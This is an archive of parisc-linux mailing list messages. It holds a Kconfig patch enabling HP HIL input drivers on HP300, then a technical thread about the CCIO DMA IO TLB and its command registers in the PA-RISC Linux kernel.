List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TukfcXc+TiEtQKyUaGRwV0Z1ZUVSRJeT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25337

Enable HIL configuration options on HP300

Signed-Off-By: Kars de Jong <jongk@linux-m68k.org>
Signed-Off-By: Geert Uytterhoeven <geert@linux-m68k.org>

---
 keyboard/Kconfig |    4 ++--
 misc/Kconfig     |    2 +-
 mouse/Kconfig    |    2 +-
 serio/Kconfig    |    2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

--- linux/drivers/input/keyboard/Kconfig	2005/06/18 16:15:57	1.1.1.12
+++ linux/drivers/input/keyboard/Kconfig	2005/08/29 19:17:44	1.2
@@ -154,7 +154,7 @@ config KEYBOARD_AMIGA
 
 config KEYBOARD_HIL_OLD
 	tristate "HP HIL keyboard support (simple driver)"
-	depends on GSC
+	depends on GSC || HP300
 	default y
 	help
 	  The "Human Interface Loop" is a older, 8-channel USB-like
@@ -171,7 +171,7 @@ config KEYBOARD_HIL_OLD
 
 config KEYBOARD_HIL
 	tristate "HP HIL keyboard support"
-	depends on GSC
+	depends on GSC || HP300
 	default y
 	select HP_SDC
 	select HIL_MLC
--- linux/drivers/input/misc/Kconfig	2005/06/18 16:15:58	1.1.1.12
+++ linux/drivers/input/misc/Kconfig	2005/08/29 19:17:44	1.2
@@ -51,7 +51,7 @@ config INPUT_UINPUT
 
 config HP_SDC_RTC
 	tristate "HP SDC Real Time Clock"       
-	depends on GSC
+	depends on GSC || HP300
 	select HP_SDC
 	help
 	  Say Y here if you want to support the built-in real time clock
--- linux/drivers/input/mouse/Kconfig	2005/06/18 16:15:58	1.1.1.18
+++ linux/drivers/input/mouse/Kconfig	2005/08/29 19:17:44	1.2
@@ -129,7 +129,7 @@ config MOUSE_VSXXXAA
 
 config MOUSE_HIL
 	tristate "HIL pointers (mice etc)."     
-	depends on GSC
+	depends on GSC || HP300
 	select HP_SDC
 	select HIL_MLC
 	help
--- linux/drivers/input/serio/Kconfig	2005/08/29 14:19:56	1.1.1.17
+++ linux/drivers/input/serio/Kconfig	2005/08/29 19:17:45	1.5
@@ -112,7 +112,7 @@ config SERIO_GSCPS2
 
 config HP_SDC
 	tristate "HP System Device Controller i8042 Support"
-	depends on GSC && SERIO
+	depends on (GSC || HP300) && SERIO
 	default y
 	---help---
 	  This option enables supports for the the "System Device

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Tue, 10 Oct 2006 16:08:41 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <20061010220841.GG12490@colo.lackof.org>
References: <J6V48N$07BEC56C541729714304848986C290A3@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624608 27797 80.91.229.3 (22 Nov 2014 02:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:08 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Oct 2006 22:08:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 11 Oct 2006 00:08:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D3777D71D;
	Tue, 10 Oct 2006 16:08:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04536-01; Tue, 10 Oct 2006 16:08:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1ABD37D715;
	Tue, 10 Oct 2006 16:08:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 45F3F7D707
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 16:08:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03681-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 16:08:46 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 110987D651
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Oct 2006 16:08:46 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id BF38149400B; Tue, 10 Oct 2006 16:08:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 690B0494009;
	Tue, 10 Oct 2006 16:08:43 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4B65C398623;
	Tue, 10 Oct 2006 16:08:42 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17311-08; Tue, 10 Oct 2006 16:08:41 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A4FEB3980AC; Tue, 10 Oct 2006 16:08:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <J6V48N$07BEC56C541729714304848986C290A3@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zCEadDZKYmYSfenCanc3jkVKWkZTQVTD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25338

On Mon, Oct 09, 2006 at 11:41:11AM +0200, Joel Soete wrote:
> Hello Grant,
> 
> I back port the sba sg list manager in ccio-dma on my d380 (not enough time to
> test c110).
...

Sounds like you have some debugging to do still...I'll try to
answer the questions below.

> That said, there are no public doc of this IO stuff

There is none for CCIO. And I no longer have access to those
documents (deleted them from my laptop/workstations).
You'd need access to U2/Uturn ERS via OSDL.


> and so I didn't change those 2 hunks:
> [snip]
> static CCIO_INLINE void
> ccio_clear_io_tlb(struct ioc *ioc, dma_addr_t iovp, size_t byte_cnt)
...
> ccio_ioc_init(struct ioc *ioc)
...
> About which cames to me 2 questions:
>    1/ what is supposed to contain an io_tlb entry:

You want to know the layout of the "ioc_command" register.
It is a combination of iovp and command.


>       a io (page size) address as seems to say the value
>      ("CMD_TLB_PURGE | iovp") in ccio_clear_io_tlb()

Offhand I'm not sure of the exact split but guess it's
lower 12 bits for command and upper 20 bits for IO Virtual Page
as used in ccio_clear_io_tlb().

>       or a memory page size should be splited in
>       severall tlb entries per ioc->chainid_shift?

ccio_ioc_init is just clearing the entire IO TLB.
We know there are only "1<<CCIO_CHAINID_SHIFT" IO TLB entries.
See comments above where CCIO_CHAINID_SHIFT is defined.
ccio_clear_io_tlb() is just purging all of them.

>    2/ what is supposed to contain the ccio io_command register, I mean that
>       I don't understand what seems to me to be different io_command
>       contents for CMD_TLB_DIRECT_WRITE or CMD_TLB_PURGE?

Generally we only need to use CMD_TLB_PURGE to avoid use of stale entries.
You shouldn't need to change the uses of CMD_TLB_DIRECT_WRITE.

> If you still have (or access to) this internal doc, it would be great if you
> could find some time to explain me those stuff.

Sorry - I don't.

Hope that helps,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Wed, 11 Oct 2006 10:48:56 +0200
Lines: 140
Approved: news@gmane.org
Message-ID: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624609 27800 80.91.229.3 (22 Nov 2014 02:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:09 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Oct 2006 08:49:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 11 Oct 2006 10:49:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 859D77D73B;
	Wed, 11 Oct 2006 02:49:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11806-06; Wed, 11 Oct 2006 02:49:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A592D7D73C;
	Wed, 11 Oct 2006 02:49:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0B207D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 02:49:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11713-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 02:49:07 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 64AD47D735
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 02:49:07 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2698749400C; Wed, 11 Oct 2006 02:49:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by mail.parisc-linux.org (Postfix) with ESMTP id 77A9549400A;
	Wed, 11 Oct 2006 02:49:01 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40])
	by weequay.is.scarlet.be  with ESMTP id k9B8muG05561;
	Wed, 11 Oct 2006 10:48:56 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NogaDE0+QEVsAujDZnVp7yJKNzg2NULt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25339

> On Mon, Oct 09, 2006 at 11:41:11AM +0200, Joel Soete wrote:
> > Hello Grant,
> > 
> > I back port the sba sg list manager in ccio-dma on my d380 (not enoug=
h time to
> > test c110).
> ...
> 
> Sounds like you have some debugging to do still...
(why I mentioned progress and failures ;-) )

> I'll try to
> answer the questions below.
> 
> > That said, there are no public doc of this IO stuff
> 
> There is none for CCIO. And I no longer have access to those
> documents (deleted them from my laptop/workstations).
too bad ;_(

> You'd need access to U2/Uturn ERS via OSDL.
> 
Any links (I looking for in http://ftp.parisc-linux.org/docs/chips and mo=
re
google search but no success?)

> 
> > and so I didn't change those 2 hunks:
> > [snip]
> > static CCIO_INLINE void
> > ccio_clear_io_tlb(struct ioc *ioc, dma_addr_t iovp, size_t byte_cnt)
> ...
> > ccio_ioc_init(struct ioc *ioc)
> ...
> > About which cames to me 2 questions:
> >    1/ what is supposed to contain an io_tlb entry:
> 
> You want to know the layout of the "ioc_command" register.
> It is a combination of iovp and command.
> 
> 
> >       a io (page size) address as seems to say the value
> >      ("CMD_TLB_PURGE | iovp") in ccio_clear_io_tlb()
> 
> Offhand I'm not sure of the exact split but guess it's
> lower 12 bits for command and upper 20 bits for IO Virtual Page
> as used in ccio_clear_io_tlb().
> 
mmm could it be the pb: the computed chainid_shift on my d380 is 19 (deci=
mal)?

btw what's about the IOV page size used by sba (IOVP_SIZE i.e. PAGE_SIZE =
till
now?)

The question for ccio is: why using chainid_shift (by set io_chain_id_mas=
k)
different then IOVP_SHIFT, as ,as far as I understand, we manage only
IPVP_SIZE page? (imho couls be what means "FIXME: Can we change byte_cnt =
to
pages_mappged" of ccio_mark_invalid?)

btw what is correct for you in this setup:
WRITE_U32(CCIO_CHAINID_MASK << ioc->chainid_shift,
&ioc->ioc_regs->io_chain_id_mask);

the name variable seems to said it should contains the mask correcponding=
 to
the chainid_shift i.e. imho:
let say CHAINID_SIZE =3D (1UL << ioc->chainid_shift) and so
&ioc->ioc_regs->io_chain_id_mask =3D (~(CHAINID_SIZE -1))



> >       or a memory page size should be splited in
> >       severall tlb entries per ioc->chainid_shift?
> 
> ccio_ioc_init is just clearing the entire IO TLB.
> We know there are only "1<<CCIO_CHAINID_SHIFT" IO TLB entries.
> See comments above where CCIO_CHAINID_SHIFT is defined.
> ccio_clear_io_tlb() is just purging all of them.
> 
ok.

Ah btw there wasn't any 'flush purges' action o do with ccio like in sba =
or
only to be managed with fdc/sync?

> >    2/ what is supposed to contain the ccio io_command register, I mea=
n that
> >       I don't understand what seems to me to be different io_command
> >       contents for CMD_TLB_DIRECT_WRITE or CMD_TLB_PURGE?
> 
> Generally we only need to use CMD_TLB_PURGE to avoid use of stale entri=
es.
no pb to understand it.

> You shouldn't need to change the uses of CMD_TLB_DIRECT_WRITE.
> 
but here it's a bit confusing: we are at the kernel startup and just init=
 the
ccio so afaik nothing yet in ccio tlb or at least we don't know what it
contains and we are writing this CMD_TLB_DIRECT_WRITE for this iov page
address (i << chainid_shift) for i =3D 1 to 256 (the 256 Uturn tlb entrie=
s).

That said (without doc), I wouldn't touch to this loop.

> > If you still have (or access to) this internal doc, it would be great=
 if you
> > could find some time to explain me those stuff.
> 
> Sorry - I don't.
> 
No pb, that already helpfull.

May be a last q.

in your code comment you spoke about spa_shift but I didn't find it anywh=
ere
else (neither in the code nor in iodc doc), any idea which symbol is rela=
ted to?

> Hope that helps,

Yes, thanks a lot,
   Joel
> grant
> 
> =0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez =
aujourd'hui Scarlet One grace a un client existant de Scarlet, vous recev=
ez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http=
://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CCIO dma io_command and related io_tlb format
	questions.
Date: Wed, 11 Oct 2006 19:04:26 -0600
Lines: 94
Approved: news@gmane.org
Message-ID: <20061012010426.GA18624@colo.lackof.org>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624609 27801 80.91.229.3 (22 Nov 2014 02:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:09 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2006 01:04:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 12 Oct 2006 03:04:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E03E7D771;
	Wed, 11 Oct 2006 19:04:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25005-01; Wed, 11 Oct 2006 19:04:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 038F07D78A;
	Wed, 11 Oct 2006 19:04:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96F007D76C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 19:04:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24262-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 19:04:32 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0AACC7D769
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Oct 2006 19:04:32 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7F15D49400D; Wed, 11 Oct 2006 19:04:31 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 1AFE549400C;
	Wed, 11 Oct 2006 19:04:29 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 63CE229804B;
	Wed, 11 Oct 2006 19:04:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18579-10; Wed, 11 Oct 2006 19:04:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DEEF329803C; Wed, 11 Oct 2006 19:04:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: g6YUfTNMYW0+VLuGbmZp8ZF0amthc1uo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25340

On Wed, Oct 11, 2006 at 10:48:56AM +0200, Joel Soete wrote:
> > > That said, there are no public doc of this IO stuff
> >
> > There is none for CCIO. And I no longer have access to those
> > documents (deleted them from my laptop/workstations).
> > You'd need access to U2/Uturn ERS via OSDL.
>
> Any links (I looking for in http://ftp.parisc-linux.org/docs/chips and more
> google search but no success?)

No links. OSDL has been talking with HP about NDA access to specific
HP docs for OSDL developers. CCIO docs could be added to that
list of docs if it exists anywhere. I believe PA8800 ERS was
a targeted document as well (for example).


> >
> > >       a io (page size) address as seems to say the value
> > >      ("CMD_TLB_PURGE | iovp") in ccio_clear_io_tlb()
> >
> > Offhand I'm not sure of the exact split but guess it's
> > lower 12 bits for command and upper 20 bits for IO Virtual Page
> > as used in ccio_clear_io_tlb().
> >
> mmm could it be the pb: the computed chainid_shift on my d380 is 19 (decimal)?
> 
> btw what's about the IOV page size used by sba (IOVP_SIZE i.e. PAGE_SIZE till
> now?)

sba and ccio are similar but not identical.
The intent for variable page sizes in SBA is so it can match
whatever page size the kernel is using.


> The question for ccio is: why using chainid_shift (by set io_chain_id_mask)
> different then IOVP_SHIFT, as ,as far as I understand, we manage only
> IPVP_SIZE page? (imho couls be what means "FIXME: Can we change byte_cnt to
> pages_mappged" of ccio_mark_invalid?)

Maybe look at how chainid_shift is initialized and that will make sense.
I'm not sure I understand your question otherwise.

> btw what is correct for you in this setup:
> WRITE_U32(CCIO_CHAINID_MASK << ioc->chainid_shift,
> &ioc->ioc_regs->io_chain_id_mask);
> 
> the name variable seems to said it should contains the mask correcponding to
> the chainid_shift i.e. imho:
> let say CHAINID_SIZE = (1UL << ioc->chainid_shift) and so
> &ioc->ioc_regs->io_chain_id_mask = (~(CHAINID_SIZE -1))

Uhm....sounds reasonable to me. All I know is I believe the existing
code use of chain_id is correct.

> Ah btw there wasn't any 'flush purges' action o do with ccio like in sba or
> only to be managed with fdc/sync?

No. Purging IO TLB entries is not like changing the IO Pdir entries.
Related but seperate activities.

> > You shouldn't need to change the uses of CMD_TLB_DIRECT_WRITE.
>
> but here it's a bit confusing: we are at the kernel startup and just init the
> ccio so afaik nothing yet in ccio tlb or at least we don't know what it
> contains

Exactly. We don't know what it contains. This makes sure we know.

>  and we are writing this CMD_TLB_DIRECT_WRITE for this iov page
> address (i << chainid_shift) for i = 1 to 256 (the 256 Uturn tlb entries).
> 
> That said (without doc), I wouldn't touch to this loop.

Good. :)

> May be a last q.

Maybe? :)

> in your code comment you spoke about spa_shift but I didn't find it anywhere
> else (neither in the code nor in iodc doc), any idea which symbol is related to?

It's obviously a stale comment and you might look at versions of the CCIO code
in the 2.4 source tree to find it.

I suspect it's chain_id_shift but am not sure.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: CCIO dma io_command and related io_tlb
	format questions.
Date: Wed, 11 Oct 2006 22:27:54 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1160623674.14686.4.camel@mulgrave.il.steeleye.com>
References: <J6YR5K$1938FDCB7E5B1C4FE794753632F5E240@scarlet.be>
	<20061012010426.GA18624@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624609 27805 80.91.229.3 (22 Nov 2014 02:50:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:09 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Oct 2006 03:28:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 12 Oct 2006 05:28:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0B557D796;
	Wed, 11 Oct 2006 21:28:09 -0600 (MDT)
